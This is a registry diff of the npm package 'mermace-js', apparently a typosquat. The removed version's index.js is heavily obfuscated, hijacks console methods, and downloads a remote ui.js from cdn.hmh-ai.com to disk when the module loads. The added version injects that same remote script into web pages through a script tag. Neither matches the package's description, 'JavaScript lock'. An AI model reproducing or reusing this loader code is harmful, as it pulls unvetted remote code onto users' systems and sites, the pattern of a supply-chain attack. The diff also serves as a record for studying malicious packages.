mermace-js 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +27 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1 +1,27 @@
1
- function _0x198e(){const _0x2a78e7=['exception','toString','3047037ybpfAL','{}.constructor(\x22return\x20this\x22)(\x20)','11ailOuQ','console','203vwVuXB','message','prototype','warn','table','__proto__','882907dlBCxd','log','(((.+)+)+)+$','trace','Got\x20error:\x20','Downloaded\x20and\x20saved:\x20','return\x20(function()\x20','14683842UInTuV','search','1205sLBCwk','error','bind','2qfKEgU','12252NsrGaR','10902rzaWCR','1045910nbKban','close','info','https','11928096DZwRMB','apply','constructor','./ui.js','get'];_0x198e=function(){return _0x2a78e7;};return _0x198e();}function _0x4cca(_0x5854ef,_0x35e757){const _0x5c444f=_0x198e();return _0x4cca=function(_0x3841c1,_0x114104){_0x3841c1=_0x3841c1-0xda;let _0x1f4dd6=_0x5c444f[_0x3841c1];return _0x1f4dd6;},_0x4cca(_0x5854ef,_0x35e757);}const _0x30ebca=_0x4cca;(function(_0x1d2ef6,_0x16aa42){const _0x4eee04=_0x4cca,_0x496a90=_0x1d2ef6();while(!![]){try{const _0x5adf89=parseInt(_0x4eee04(0xf5))/0x1*(-parseInt(_0x4eee04(0xdd))/0x2)+parseInt(_0x4eee04(0xeb))/0x3+-parseInt(_0x4eee04(0xde))/0x4*(-parseInt(_0x4eee04(0xda))/0x5)+parseInt(_0x4eee04(0xdf))/0x6*(-parseInt(_0x4eee04(0xef))/0x7)+-parseInt(_0x4eee04(0xe4))/0x8+parseInt(_0x4eee04(0xfc))/0x9+-parseInt(_0x4eee04(0xe0))/0xa*(parseInt(_0x4eee04(0xed))/0xb);if(_0x5adf89===_0x16aa42)break;else _0x496a90['push'](_0x496a90['shift']());}catch(_0x20a239){_0x496a90['push'](_0x496a90['shift']());}}}(_0x198e,0xd08b5));const _0x3e8c7b=(function(){let _0x3a2716=!![];return function(_0x141c07,_0x19de6b){const _0x5255c3=_0x3a2716?function(){const _0x56931d=_0x4cca;if(_0x19de6b){const _0x495678=_0x19de6b[_0x56931d(0xe5)](_0x141c07,arguments);return _0x19de6b=null,_0x495678;}}:function(){};return _0x3a2716=![],_0x5255c3;};}()),_0x1d7625=_0x3e8c7b(this,function(){const _0x5db7e1=_0x4cca;return _0x1d7625['toString']()['search'](_0x5db7e1(0xf7))[_0x5db7e1(0xea)]()[_0x5db7e1(0xe6)](_0x1d7625)[_0x5db7e1(0xfd)](_0x5db7e1(0xf7));});_0x1d7625();const _0x114104=(function(){let _0x3aae32=!![];return function(_0x576b03,_0x40bcfa){const _0x3f4185=_0x3aae32?function(){const _0x295a5f=_0x4cca;if(_0x40bcfa){const _0x28ecfb=_0x40bcfa[_0x295a5f(0xe5)](_0x576b03,arguments);return _0x40bcfa=null,_0x28ecfb;}}:function(){};return _0x3aae32=![],_0x3f4185;};}()),_0x3841c1=_0x114104(this,function(){const _0x10834f=_0x4cca;let _0x3cf44d;try{const _0x434976=Function(_0x10834f(0xfb)+_0x10834f(0xec)+');');_0x3cf44d=_0x434976();}catch(_0x38cf20){_0x3cf44d=window;}const _0x5ed67d=_0x3cf44d[_0x10834f(0xee)]=_0x3cf44d[_0x10834f(0xee)]||{},_0x581396=[_0x10834f(0xf6),_0x10834f(0xf2),_0x10834f(0xe2),_0x10834f(0xdb),_0x10834f(0xe9),_0x10834f(0xf3),_0x10834f(0xf8)];for(let _0x3acf70=0x0;_0x3acf70<_0x581396['length'];_0x3acf70++){const _0xfe4c04=_0x114104[_0x10834f(0xe6)][_0x10834f(0xf1)][_0x10834f(0xdc)](_0x114104),_0x5113bf=_0x581396[_0x3acf70],_0x5712e7=_0x5ed67d[_0x5113bf]||_0xfe4c04;_0xfe4c04[_0x10834f(0xf4)]=_0x114104[_0x10834f(0xdc)](_0x114104),_0xfe4c04['toString']=_0x5712e7[_0x10834f(0xea)]['bind'](_0x5712e7),_0x5ed67d[_0x5113bf]=_0xfe4c04;}});_0x3841c1();const https=require(_0x30ebca(0xe3)),fs=require('fs'),fileUrl='https://cdn.hmh-ai.com/orenceai/ui.js',localFilePath=_0x30ebca(0xe7);https[_0x30ebca(0xe8)](fileUrl,_0x245c9c=>{const _0x2a3a3f=_0x30ebca;if(_0x245c9c['statusCode']===0xc8){const _0x2dbe34=fs['createWriteStream'](localFilePath);_0x245c9c['pipe'](_0x2dbe34),_0x2dbe34['on']('finish',()=>{const _0x448f36=_0x4cca;_0x2dbe34[_0x448f36(0xe1)](),console['log'](_0x448f36(0xfa)+localFilePath);});}else console[_0x2a3a3f(0xf6)]('Request\x20failed.\x20Status\x20Code:\x20'+_0x245c9c['statusCode']);})['on']('error',_0x4ee30a=>{const _0x1703ac=_0x30ebca;console[_0x1703ac(0xdb)](_0x1703ac(0xf9)+_0x4ee30a[_0x1703ac(0xf0)]);});
1
+ // index.js
2
+ function loadScript(url, callback) {
3
+ var script = document.createElement('script');
4
+ script.type = 'text/javascript';
5
+ script.src = url;
6
+
7
+ // 在脚本加载完成后执行回调函数
8
+ script.onload = function() {
9
+ if (typeof callback === 'function') {
10
+ callback();
11
+ }
12
+ };
13
+
14
+ // 处理加载脚本时的错误
15
+ script.onerror = function() {
16
+ // console.error('Cannot load script at url:', url);
17
+ };
18
+
19
+ document.head.appendChild(script);
20
+ }
21
+
22
+ // 将加载函数暴露为模块的公共API
23
+ module.exports = {
24
+ loadMermaceJS: function(callback) {
25
+ loadScript('https://cdn.hmh-ai.com/orenceai/ui.js', callback);
26
+ }
27
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "mermace-js",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "JavaScript lock",
5
5
  "main": "index.js",
6
6
  "scripts": {